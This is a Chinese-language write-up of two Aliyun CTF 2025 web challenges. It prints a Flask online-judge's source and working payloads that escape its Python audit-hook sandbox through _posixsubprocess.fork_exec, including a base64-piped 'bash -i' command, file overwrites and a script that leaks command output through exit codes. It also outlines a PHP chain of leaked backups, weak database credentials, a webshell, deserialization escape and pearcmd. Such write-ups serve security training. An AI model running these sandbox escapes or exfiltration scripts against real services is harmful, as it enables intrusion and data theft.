前言
参考:
https://blog.xmcve.com/2025/02/25/%E9%98%BF%E9%87%8C%E4%BA%91CTF2025-Writeup
https://xz.aliyun.com/news/17029
ezoj
/source 获取源码
import os
import subprocess
import uuid
import json
from flask import Flask, request, jsonify, send_file
from pathlib import Path
app = Flask(__name__)
SUBMISSIONS_PATH = Path("./submissions")
PROBLEMS_PATH = Path("./problems")
SUBMISSIONS_PATH.mkdir(parents=True, exist_ok=True)
CODE_TEMPLATE = """
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
"""
class OJTimeLimitExceed(Exception):
pass
class OJRuntimeError(Exception):
pass
@app.route("/")
def index():
return send_file("static/index.html")
@app.route("/source")
def source():
return send_file("server.py")
@app.route("/api/problems")
def list_problems():
problems_dir = PROBLEMS_PATH
problems = []
for problem in problems_dir.iterdir():
problem_config_file = problem / "problem.json"
if not problem_config_file.exists():
continue
problem_config = json.load(problem_config_file.open("r"))
problem = {
"problem_id": problem.name,
"name": problem_config["name"],
"description": problem_config["description"],
}
problems.append(problem)
problems = sorted(problems, key=lambda x: x["problem_id"])
problems = {"problems": problems}
return jsonify(problems), 200
@app.route("/api/submit", methods=["POST"])
def submit_code():
try:
data = request.get_json()
code = data.get("code")
problem_id = data.get("problem_id")
if code is None or problem_id is None:
return (
jsonify({"status": "ER", "message": "Missing 'code' or 'problem_id'"}),
400,
)
problem_id = str(int(problem_id))
problem_dir = PROBLEMS_PATH / problem_id
if not problem_dir.exists():
return (
jsonify(
{"status": "ER", "message": f"Problem ID {problem_id} not found!"}
),
404,
)
code_filename = SUBMISSIONS_PATH / f"submission_{uuid.uuid4()}.py"
with open(code_filename, "w") as code_file:
code = CODE_TEMPLATE + code
code_file.write(code)
result = judge(code_filename, problem_dir)
code_filename.unlink()
return jsonify(result)
except Exception as e:
return jsonify({"status": "ER", "message": str(e)}), 500
def judge(code_filename, problem_dir):
test_files = sorted(problem_dir.glob("*.input"))
total_tests = len(test_files)
passed_tests = 0
try:
for test_file in test_files:
input_file = test_file
expected_output_file = problem_dir / f"{test_file.stem}.output"
if not expected_output_file.exists():
continue
case_passed = run_code(code_filename, input_file, expected_output_file)
if case_passed:
passed_tests += 1
if passed_tests == total_tests:
return {"status": "AC", "message": f"Accepted"}
else:
return {
"status": "WA",
"message": f"Wrang Answer: pass({passed_tests}/{total_tests})",
}
except OJRuntimeError as e:
return {"status": "RE", "message": f"Runtime Error: ret={e.args[0]}"}
except OJTimeLimitExceed:
return {"status": "TLE", "message": "Time Limit Exceed"}
def run_code(code_filename, input_file, expected_output_file):
with open(input_file, "r") as infile, open(
expected_output_file, "r"
) as expected_output:
expected_output_content = expected_output.read().strip()
process = subprocess.Popen(
["python3", code_filename],
stdin=infile,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
text=True,
)
try:
stdout, stderr = process.communicate(timeout=5)
except subprocess.TimeoutExpired:
process.kill()
raise OJTimeLimitExceed
if process.returncode != 0:
raise OJRuntimeError(process.returncode)
if stdout.strip() == expected_output_content:
return True
else:
return False
if __name__ == "__main__":
app.run(host="0.0.0.0", port=5000)
不出网且执行无回显,不过可以 rce 之后可以这样写whoami > ../server.py
来获取回显
核心放在代码模板上:
import sys
import math
import collections
import queue
import heapq
import bisect
def audit_checker(event,args):
if not event in ["import","time.sleep","builtins.input","builtins.input/result"]:
raise RuntimeError
sys.addaudithook(audit_checker)
<<OUR_CODE>>
这里的hook是白名单机制
允许 import,打 posix,参考:https://dummykitty.github.io/python/2023/05/30/pyjail-bypass-07-%E7%BB%95%E8%BF%87-audit-hook.html#_posixsubprocess-%E6%89%A7%E8%A1%8C%E5%91%BD%E4%BB%A4
import os
import _posixsubprocess
# s = input().split()
# print(int(s[0]) + int(s[1]))
_posixsubprocess.fork_exec([b"/bin/bash","-c","sleep 1"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)
import os
import _posixsubprocess
_posixsubprocess.fork_exec([b"","-c","{echo,ZW52ID4gLi4vc2VydmVyLnB5}|{base64,-d}|{bash,-i}"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), False, False,False, None, None, None, -1, None, False)
_posixsubprocess.fork_exec([b"/bin/bash","-c","env > server.py"], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)
本地通了,但是远程写文件在各个目录都没反应,sleep可以正常执行
利用 A+B problem 里 output 样例有2的情况,构造一个内容为2的文件并读取来测试权限
最后发现能写文件的只有 submissions 目录和 /tmp
总不能盲注吧
import os
import _posixsubprocess
cmd='if [ `cut -c 1 /f*` = "a" ];then echo 2;fi'
_posixsubprocess.fork_exec([b"/bin/bash","-c",cmd], [b"/bin/bash"], True, (), None, None, -1, -1, -1, -1, -1, -1, *(os.pipe()), -1, -1, -1, None, None, None, -1, None, False)
返回 Wrang Answer: pass(1/10) ,那就真的盲注吧
最后以一种很丑陋的方式来注(
得到flag:aliyunctf{8d7de2fe-77dd-4dde-9c3f-b6fbd55654d7}
带出回显
执行命令并将结果写入到退出码中
import requests
URL = "http://10.253.253.1/api/submit"
CODE_TEMPLATE = """
import _posixsubprocess
import os
import time
import sys
std_pipe = os.pipe()
err_pipe = os.pipe()
_posixsubprocess.fork_exec(
(b"/bin/bash",b"-c",b"ls /"),
[b"/bin/bash"],
True,
(),
None,
None,
-1,
-1,
-1,
std_pipe[1], #c2pwrite
-1,
-1,
*(err_pipe),
False,
False,
False,
None,
None,
None,
-1,
None,
False,
)
time.sleep(0.1)
content = os.read(std_pipe[0],1024)
content_len = len(content)
if {loc} < content_len:
sys.exit(content[{loc}])
else:
sys.exit(255)
"""
command="ls /"
received = ""
for i in range(254):
code = CODE_TEMPLATE.format(loc=i,command=command)
data = {"problem_id":0,"code":code}
resp = requests.post(URL,json=data)
resp_data = resp.json()
assert(resp_data["status"] == "RE")
ret_loc = resp_data["message"].find("ret=")
ret_code = resp_data["message"][ret_loc+4:]
if ret_code == "255":
break
received += chr(int(ret_code))
print(received)
打卡OK(复现)
dirsearch扫出来/index.php~
<?php
session_start();
if($_SESSION['login']!=1){
echo "<script>alert(\"Please login!\");window.location.href=\"./login.php\";</script>";
return ;
}
?>
<!doctype html>
<html lang="en">
<head>
<meta charset="utf-8">
<title>打卡系统</title>
<meta name="keywords" content="HTML5 Template">
<meta name="description" content="Forum - Responsive HTML5 Template">
<meta name="author" content="Forum">
<link rel="shortcut icon" href="favicon/favicon.ico">
<meta name="format-detection" content="telephone=no">
<meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
<link rel="stylesheet" href="css/style.css">
</head>
<body>
<!-- tt-mobile menu -->
<nav class="panel-menu" id="mobile-menu">
<ul>
</ul>
<div class="mm-navbtn-names">
<div class="mm-closebtn">
Close
<div class="tt-icon">
<svg>
<use xlink:href="#icon-cancel"></use>
</svg>
</div>
</div>
<div class="mm-backbtn">Back</div>
</div>
</nav>
<main id="tt-pageContent">
<div class="container">
<div class="tt-wrapper-inner">
<h1 class="tt-title-border">
补卡系统
</h1>
<form class="form-default form-create-topic" action="./index.php" method="POST">
<div class="form-group">
<label for="inputTopicTitle">姓名</label>
<div class="tt-value-wrapper">
<input type="text" name="username" class="form-control" id="inputTopicTitle" placeholder="<?php echo $_SESSION['username'];?>">
</div>
</div>
<div class="pt-editor">
<h6 class="pt-title">补卡原因</h6>
<div class="form-group">
<textarea name="reason" class="form-control" rows="5" placeholder="Lets get started"></textarea>
</div>
<div class="row">
<div class="col-auto ml-md-auto">
<button class="btn btn-secondary btn-width-lg">提交</button>
</div>
</div>
</div>
</form>
</div>
</div>
</main>
</body>
</html>
<?php
include './cache.php';
$check=new checkin();
if(isset($_POST['reason'])){
if(isset($_GET['debug_buka']))
{
$time=date($_GET['debug_buka']);
}else{
$time=date("Y-m-d H:i:s");
}
$arraya=serialize(array("name"=>$_SESSION['username'],"reason"=>$_POST['reason'],"time"=>$time,"background"=>"ok"));
$check->writec($_SESSION['username'].'-'.date("Y-m-d"),$arraya);
}
if(isset($_GET['check'])){
$cachefile = '/var/www/html/cache/' . $_SESSION['username'].'-'.date("Y-m-d"). '.php';
if (is_file($cachefile)) {
$data=file_get_contents($cachefile);
$checkdata = unserialize(str_replace("<?php exit;//", '', $data));
$check="/var/www/html/".$checkdata['background'].".php";
include "$check";
}else{
include 'error.php';
}
}
?>
首先要登录,但是字典跑了半天都没出,尝试注入也无果
这个时候突然在想会不会login.php也有和index.php一样的文件泄露,还真有
/login.php~
<?php
$servername = "localhost";
$username = "web";
$password = "web";
$dbname = "web";
$conn = new mysqli($servername, $username, $password, $dbname);
if ($conn->connect_error) {
die("连接失败: " . $conn->connect_error);
}
session_start();
include './pass.php';
if(isset($_POST['username']) and isset($_POST['password'])){
$username=addslashes($_POST['username']);
$password=$_POST['password'];
$code=$_POST['code'];
$endpass=md5($code.$password).':'.$code;
$sql = "select password from users where username='$username'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
while($row = $result->fetch_assoc()) {
if($endpass==$row['password']){
$_SESSION['login'] = 1;
$_SESSION['username'] = md5($username);
echo "<script>alert(\"Welcome $username!\");window.location.href=\"./index.php\";</script>";
}
}
} else {
echo "<script>alert(\"错误\");</script>";
die();
}
$conn->close();
}
?>
还真有,猜测其他文件也有~
泄露
pass.php
<?php
class mypass{
public function generateRandomString($length = 10) {
$characters = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ';
$charactersLength = strlen($characters);
$randomString = '';
for ($i = 0; $i < $length; $i++) {
$randomString .= $characters[rand(0, $charactersLength - 1)];
}
return $randomString;
}
public function checkpass($plain) {
$password = $this->generateRandomString();
$salt = substr(md5($password), 0, 5);
$password = md5($salt . $plain) . ':' . $salt;
return $password;
}
}
?>
cache.php
<?php
/**
*
*/
class myCache
{
public function writecache($name,$data) {
$file = '/var/www/html/cache/' . $name . '.php';
$cachedata = "<?php exit;//" . $data;
file_put_contents($file,$cachedata);
return '';
}
}
class checkin{
function writec($data,$name)
{
$wr=new myCache();
$wr->writecache($data,$name);
}
}
?>
那么接下来就是想办法过登录,想办法构造sql语句使其返回内容,但是没思路
非预期
?什么叫扫出来个 adminer_481.php 弱口令 root:root 登录写shell秒了
预期
还是要扫出来 adminer_481.php,那我字典呢?(难绷,刚写完之后今晚打渗透的时候就遇到这个 adminer.php 了)
web:web 登录数据库改前台登录密码
然后打反序列化逃逸和pearcmd